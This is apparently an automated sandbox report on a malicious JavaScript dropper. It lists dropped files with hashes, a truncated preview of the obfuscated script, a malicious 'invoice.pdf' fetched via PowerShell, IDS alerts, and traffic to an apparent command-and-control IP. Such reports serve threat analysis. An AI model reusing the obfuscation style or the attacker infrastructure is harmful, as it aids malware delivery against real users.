Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\23592c56-6f67-43ae-b774-65291eccc585.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\5875571b-78fd-4b9a-a495-34e7c70b9e06.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7155c65b-b684-4edf-8fe2-2f3bfd9cec35.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e5bc429e-6f63-43a3-9119-f16ea78e4245.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19074), with CRLF line terminators
Entropy (8bit):	4.920008226306638
TrID:
File name:	1018617432866721695.js
File size:	22'602 bytes
MD5:	6f7a66c2c931d197dbdaade40e820168
SHA1:	b027afe5aecfcbb81c262fb98ed6b08aeaff15f7
SHA256:	a1bd17f985d298d5c562e110e4b48303f88167777da67c945b250bb5c184e93e
SHA512:	4d54e17166d2fe26d08e37a698048230166931964da350207ee8d2e28917a76cf25bff51253eac69da043d461c8c2742f547ddfaf33c5da5b06f15d5f4731622
SSDEEP:	384:MvbfHNWuFl+LeLd2xy8pzGxF6GnhieFcsiM3z3nRJRXbobtLO10miyRPeVm+I5xm:MTHxFl+LeLd2xy8pzGxF6GnhieFcsiMa
TLSH:	AEA244E2E550CE77DDDC11C087951CDA0A4A17DC91B8FA6C18A728849E29BF272F2DF4
File Content Preview:	function lgsac(){khgcs=[1031,3079,5127,4103,2055,3072];var nuazi=this[wvztrlg+gbnady+skgjwrn+tyeargb+okplggwv+nxmhpa+qqkryu+fyvzgoe](this[fvmzoxcij+ljcpaot+sxmaucaa+skgjwrn+zczty+wvztrlg+fyvzgoe][juatub+skgjwrn+okplggwv+gbnady+fyvzgoe+okplggwv+asqexi+ucxz

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:07:35.144426+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49749	193.143.1.205	80	TCP
2025-01-10T22:07:37.613821+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49766	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:07:34.329137087 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:34.333941936 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:34.334028006 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:34.336920023 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:34.341710091 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144346952 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144361973 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144426107 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.144431114 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144443035 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144455910 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144534111 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144543886 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144556046 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144567013 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144575119 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.144575119 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.144579887 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.144615889 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.144615889 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.149317026 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.149350882 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.149466991 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.198709965 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.198749065 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.198936939 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.270353079 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.270376921 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.270390034 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.270487070 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.270553112 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.270617008 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.270618916 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.270631075 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.270647049 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.270688057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.271184921 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.271195889 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.271212101 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.271267891 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.271267891 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.271610022 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.271620989 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.271631956 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.271642923 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.271656036 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.271678925 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.271714926 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.272383928 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.272394896 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.272408009 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.272445917 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.272478104 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.272490025 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.272497892 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.272536993 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.273236990 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.311223030 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.311234951 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.311300039 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.330882072 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.330899954 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.330945969 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.379328012 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.385831118 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.385842085 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.385852098 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.385927916 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.395559072 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.395570040 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.395617008 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.395618916 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.395675898 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.395685911 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.395697117 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.395709038 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.395720005 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.395775080 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.395775080 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.396229029 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396239996 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396342993 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.396348000 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396358967 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396370888 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396421909 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.396747112 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396758080 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396769047 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396780968 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396790981 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396801949 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396816015 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396827936 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.396828890 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.396828890 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.396851063 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.396888971 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.397763014 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.397774935 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.397785902 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.397798061 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.397809982 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.397829056 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.397835016 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.397835016 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.397842884 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.397854090 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.397887945 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.398550987 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.398598909 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.398610115 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.398622036 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.398641109 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.398641109 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.398741007 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.398751974 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.398762941 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.398775101 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.398794889 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.398833036 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.399576902 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.399588108 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.399599075 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.399626970 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.399666071 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.419296026 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.419308901 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.419395924 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.436531067 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.436577082 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.436588049 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.436599016 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.436659098 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.436659098 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.474091053 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.474107027 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.474173069 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.499209881 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.499227047 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.499279022 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.499291897 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.499305010 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.499326944 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.499327898 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.499326944 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.499639034 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521035910 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521053076 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521114111 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521174908 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521238089 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521250963 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521285057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521403074 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521437883 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521452904 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521456957 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521465063 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521477938 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521491051 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521524906 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521524906 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521847963 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521859884 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521871090 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521898031 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521908998 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521909952 CET	80	49749	193.143.1.205	192.168.2.6
